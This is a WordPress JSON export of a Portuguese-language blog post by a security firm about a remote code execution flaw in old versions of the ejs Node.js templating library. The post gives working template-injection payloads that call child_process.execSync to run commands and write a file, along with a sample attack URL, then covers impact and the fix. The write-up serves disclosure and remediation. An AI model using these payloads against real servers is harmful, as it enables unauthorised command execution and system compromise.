{"id":239,"date":"2025-07-08T14:36:17","date_gmt":"2025-07-08T14:36:17","guid":{"rendered":"https:\/\/fikresekhel.com\/blog\/?p=239"},"modified":"2025-07-08T14:39:46","modified_gmt":"2025-07-08T14:39:46","slug":"exploracao-de-rce-na-biblioteca-ejs-uma-analise-real-da-fikresekhel","status":"publish","type":"post","link":"https:\/\/fikresekhel.com\/blog\/pentesting\/exploracao-de-rce-na-biblioteca-ejs-uma-analise-real-da-fikresekhel\/","title":{"rendered":"Explora\u00e7\u00e3o de RCE na Biblioteca EJS: Uma An\u00e1lise Real da FikreSekhel"},"content":{"rendered":"\n<p><strong>Por Equipe de Pesquisa da FikreSekhel | Vulnerability Research &amp; Pentesting<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Introdu\u00e7\u00e3o<\/h2>\n\n\n\n<p>Durante uma an\u00e1lise de seguran\u00e7a conduzida em uma aplica\u00e7\u00e3o web de um de nossos clientes, a equipe de pesquisa da <strong>FikreSekhel<\/strong> identificou uma grave vulnerabilidade de <strong>Execu\u00e7\u00e3o Remota de C\u00f3digo (RCE)<\/strong> causada pelo uso da biblioteca <code>ejs<\/code> em uma vers\u00e3o desatualizada e insegura.<\/p>\n\n\n\n<p>A falha, silenciosa e facilmente negligenciada por desenvolvedores, permitia que um atacante executasse comandos arbitr\u00e1rios no servidor, comprometendo completamente o ambiente da aplica\u00e7\u00e3o.<\/p>\n\n\n\n<p>Este artigo detalha como identificamos a falha, criamos a prova de conceito (PoC) e confirmamos o impacto real da vulnerabilidade, em mais um caso real de pesquisa ofensiva realizada por nossa equipe.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">O Que \u00e9 a Vulnerabilidade?<\/h2>\n\n\n\n<p>A biblioteca <code>ejs<\/code> (Embedded JavaScript Templates) \u00e9 amplamente utilizada para renderizar p\u00e1ginas HTML din\u00e2micas em aplica\u00e7\u00f5es Node.js. Por\u00e9m, vers\u00f5es antigas \u2014 especialmente a <strong>2.7.4<\/strong> \u2014 permitem que entradas controladas pelo usu\u00e1rio sejam interpretadas <strong>como c\u00f3digo JavaScript<\/strong>, quando processadas com <code>ejs.render()<\/code> ou <code>renderFile()<\/code> sem sanitiza\u00e7\u00e3o.<\/p>\n\n\n\n<p>Essa falha pode resultar em <strong>RCE \u2014 Remote Code Execution<\/strong>, um dos tipos mais perigosos de vulnerabilidade em servidores web.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Condi\u00e7\u00f5es para Explora\u00e7\u00e3o<\/h2>\n\n\n\n<p>Para que a vulnerabilidade possa ser explorada, s\u00e3o necess\u00e1rias as seguintes condi\u00e7\u00f5es:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A aplica\u00e7\u00e3o utiliza a vers\u00e3o <strong>\u2264 2.7.4<\/strong> do <code>ejs<\/code>.<\/li>\n\n\n\n<li>A entrada do usu\u00e1rio \u00e9 injetada diretamente em <code>ejs.render()<\/code> como parte do template.<\/li>\n\n\n\n<li>A fun\u00e7\u00e3o <code>require<\/code> est\u00e1 acess\u00edvel no contexto do template (por exemplo, via <code>require: require<\/code> no <code>render()<\/code>).<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Desenvolvimento da Prova de Conceito<\/h2>\n\n\n\n<p>Ap\u00f3s an\u00e1lise do fluxo de templates do sistema, identificamos que havia uma rota que recebia par\u00e2metros via query string e os passava diretamente para o mecanismo de template.<\/p>\n\n\n\n<p>Criamos, ent\u00e3o, um c\u00f3digo de exploit simples que demonstra a execu\u00e7\u00e3o de comandos no servidor:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>&lt;%= require('child_process').execSync('whoami').toString() %><br><\/code><\/pre>\n\n\n\n<p>Este payload, quando passado na URL, executava o comando <code>whoami<\/code> no sistema operacional, e o resultado era renderizado na resposta HTML da p\u00e1gina.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Exemplo real do ataque:<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>http:\/\/localhost:3000\/?userInput=&lt;%= require('child_process').execSync('whoami').toString() %><br><\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Resultado renderizado:<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>C:\\Users\\cliente-prod<br><\/code><\/pre>\n\n\n\n<p>A partir disso, testamos outros comandos como:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>&lt;%= require('child_process').execSync('echo hacked > hacked.txt') %><br><\/code><\/pre>\n\n\n\n<p>Esse comando <strong>criou um arquivo diretamente no servidor<\/strong>, comprovando a execu\u00e7\u00e3o remota.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Impacto<\/h2>\n\n\n\n<p>O impacto desta falha \u00e9 <strong>cr\u00edtico<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Execu\u00e7\u00e3o remota de qualquer comando shell.<\/li>\n\n\n\n<li>Possibilidade de leitura, escrita e exclus\u00e3o de arquivos.<\/li>\n\n\n\n<li>Instala\u00e7\u00e3o de backdoors.<\/li>\n\n\n\n<li>Comprometimento total da infraestrutura.<\/li>\n<\/ul>\n\n\n\n<p>De acordo com o <strong>CVSS v3.1<\/strong>, esta vulnerabilidade \u00e9 classificada como:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\ud83d\udd34 <strong>NVD Score<\/strong>: 9.8 (Cr\u00edtico)<\/li>\n\n\n\n<li>\ud83d\udfe0 <strong>Snyk Score<\/strong>: 8.1 (Alta)<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Corre\u00e7\u00e3o<\/h2>\n\n\n\n<p>A vulnerabilidade foi corrigida nas vers\u00f5es mais recentes da biblioteca. Recomendamos:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Atualizar o <code>ejs<\/code> para a vers\u00e3o <strong>3.1.7<\/strong> ou superior.<\/li>\n\n\n\n<li>Nunca passar entradas do usu\u00e1rio diretamente para <code>ejs.render()<\/code> sem valida\u00e7\u00e3o.<\/li>\n\n\n\n<li>Evitar tornar <code>require<\/code> acess\u00edvel dentro dos templates.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\">bashCopiarEditar<code>npm install ejs@3.1.7\n<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Conclus\u00e3o<\/h2>\n\n\n\n<p>Este caso real mostra como pequenas decis\u00f5es de implementa\u00e7\u00e3o \u2014 como manter bibliotecas desatualizadas ou reutilizar entradas sem sanitiza\u00e7\u00e3o \u2014 podem abrir portas para ataques graves como RCE.<\/p>\n\n\n\n<p>A <strong>FikreSekhel<\/strong> atua de forma \u00e9tica e respons\u00e1vel na descoberta e mitiga\u00e7\u00e3o de vulnerabilidades cr\u00edticas em ambientes reais, auxiliando empresas a protegerem seus sistemas e usu\u00e1rios.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\ud83d\udd12 <strong>Quer saber se sua aplica\u00e7\u00e3o est\u00e1 exposta a falhas semelhantes?<\/strong><br>Entre em contato com a FikreSekhel e solicite uma an\u00e1lise t\u00e9cnica completa:<br>\ud83d\udce9 <strong><a>contato@fikresekhel.com<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por Equipe de Pesquisa da FikreSekhel | Vulnerability [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":240,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,17,1,29,13,10,12,27],"tags":[],"class_list":["post-239","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","category-fikresekhel","category-pentesting","category-pesquisa","category-research","category-secure-coding","category-trainning","category-treinamento"],"_links":{"self":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/239","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/comments?post=239"}],"version-history":[{"count":2,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/239\/revisions"}],"predecessor-version":[{"id":242,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/239\/revisions\/242"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media\/240"}],"wp:attachment":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media?parent=239"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/categories?post=239"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/tags?post=239"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}